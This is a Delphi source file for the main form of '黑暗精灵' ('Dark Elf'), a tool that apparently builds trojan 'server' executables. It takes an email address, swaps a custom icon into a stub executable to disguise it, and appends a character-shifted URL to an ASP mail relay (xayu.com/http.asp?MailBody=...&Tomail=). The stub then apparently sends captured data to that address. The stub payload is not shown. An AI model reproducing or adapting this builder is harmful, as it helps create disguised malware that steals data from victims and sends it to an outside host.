📄 unit_frmmain.pas
字号:
unit Unit_FrmMain;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls;
type
TFrmMain = class(TForm)
SaveDialog1: TSaveDialog;
Image1: TImage;
Button2: TButton;
GroupBox1: TGroupBox;
Edit_MailAddress: TEdit;
Label1: TLabel;
Memo1: TMemo;
Panel1: TPanel;
RadioButton2: TRadioButton;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
procedure ModifIconByStream_Cq(var exeStream: TMemoryStream);
procedure ModifIconByStream_Main(var exeStream: TMemoryStream);
{ Private declarations }
public
{ Public declarations }
end;
var
FrmMain: TFrmMain;
implementation
uses Unit_FrmChooseIcon,Unit_cq,Unit_Main;
{$R *.dfm}
procedure TFrmMain.Button1Click(Sender: TObject);
begin
if FrmChooseIcon.ShowModal = mrok then
if not (FrmChooseIcon.Image1.Picture.Icon.Empty) then
Image1.Picture.Icon.Assign(FrmChooseIcon.Image1.Picture.Icon);
end;
procedure TFrmMain.ModifIconByStream_Cq(var exeStream:TMemoryStream);
const IconOffSet:integer=$87B0;//34736
var
TempStream,IconStream:TMemoryStream;
iPostion:integer;
ferIcon: packed array[0..743] of byte;
ferFoot:packed array[0..360-1] of byte;
begin
iPostion:=exeStream.Position;
IconStream:=TMemoryStream.Create;
Image1.Picture.Icon.SaveToStream(IconStream);
IconStream.Seek(22, soFrombeginning); //size of icon-header is 22
IconStream.Read(ferIcon, sizeof(ferIcon));
IconStream.Free;
TempStream:=TMemoryStream.Create;
exeStream.Position:=0;
TempStream.CopyFrom(exeStream,IconOffSet);
exeStream.Seek(744, soFromCurrent);
exeStream.Read(ferFoot, exeStream.Size - exeStream.Position);
TempStream.Write(ferIcon, sizeof(ferIcon)); //icon content
TempStream.Write(ferFoot, sizeof(ferFoot)); //write footer
exeStream.Clear;
exeStream.CopyFrom(TempStream,0);
TempStream.Free;
exeStream.Position:=iPostion;
end;
procedure TFrmMain.ModifIconByStream_Main(var exeStream:TMemoryStream);
const IconOffSet:integer=$D2BC;//53948
var
TempStream,IconStream:TMemoryStream;
iPostion:integer;
ferIcon: packed array[0..743] of byte;
ferFoot:packed array[0..604-1] of byte;
begin
iPostion:=exeStream.Position;
IconStream:=TMemoryStream.Create;
Image1.Picture.Icon.SaveToStream(IconStream);
IconStream.Seek(22, soFrombeginning); //size of icon-header is 22
IconStream.Read(ferIcon, sizeof(ferIcon));
IconStream.Free;
TempStream:=TMemoryStream.Create;
exeStream.Position:=0;
TempStream.CopyFrom(exeStream,IconOffSet);
exeStream.Seek(744, soFromCurrent);
exeStream.Read(ferFoot, exeStream.Size - exeStream.Position);
TempStream.Write(ferIcon, sizeof(ferIcon)); //icon content
TempStream.Write(ferFoot, sizeof(ferFoot)); //write footer
exeStream.Clear;
exeStream.CopyFrom(TempStream,0);
TempStream.Free;
exeStream.Position:=iPostion;
end;
procedure TFrmMain.Button2Click(Sender: TObject);
const
AspHead1:string='http://www.xayu.com/http.asp?MailBody=';
AspHead2:string='&Tomail=';
var
MyMemoryStream:TMemoryStream;
i,iSize:integer;
StrTemp,StrWrite:string;
strSaveFileName:string;
begin
if Trim(Edit_MailAddress.Text)='' then
begin
Application.MessageBox('信箱不能为空,请重新输入!',Pchar(Application.Title),MB_ICONINFORMATION);
Edit_MailAddress.SetFocus;
Exit;
end;
if pos('@', Edit_MailAddress.Text)=0 then
begin
Application.MessageBox('信箱格式不正确,请重新输入!',Pchar(Application.Title),MB_ICONINFORMATION);
Edit_MailAddress.SetFocus;
Exit;
end;
if SaveDialog1.Execute then
begin
StrTemp:=AspHead1+#13+AspHead2+Trim(Edit_MailAddress.Text);
StrWrite:='';
for i:=1 to Length(StrTemp) do StrWrite:=StrWrite+Chr(Ord(StrTemp[i])-28);
MyMemoryStream:=TMemoryStream.Create;
if RadioButton2.Checked then
begin
Cjt_SavecqToStream(MyMemoryStream);
ModifIconByStream_Cq(MyMemoryStream);
end
else
begin
Cjt_SaveMainToStream(MyMemoryStream);
ModifIconByStream_Main(MyMemoryStream);
end;
MyMemoryStream.Seek(0,soFromEnd);
iSize:=Length(StrWrite);
MyMemoryStream.Write(StrWrite[1],iSize);
MyMemoryStream.Write(iSize,Sizeof(iSize));
MyMemoryStream.Position:=0;
if RadioButton2.Checked then
strSaveFileName:=ExtractFilePath(SaveDialog1.FileName)+''+ExtractFileName(SaveDialog1.FileName)
else
strSaveFileName:=ExtractFilePath(SaveDialog1.FileName)+'搜索型'+ExtractFileName(SaveDialog1.FileName);
MyMemoryStream.SaveToFile(strSaveFileName);
MyMemoryStream.Free;
Application.MessageBox('服务端生成完毕!',Pchar(Application.Title),MB_ICONINFORMATION);
end;
end;
procedure TFrmMain.FormCreate(Sender: TObject);
begin
Application.Title:='黑暗精灵';
Caption:=Application.Title;
Edit_MailAddress.Clear;
end;
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -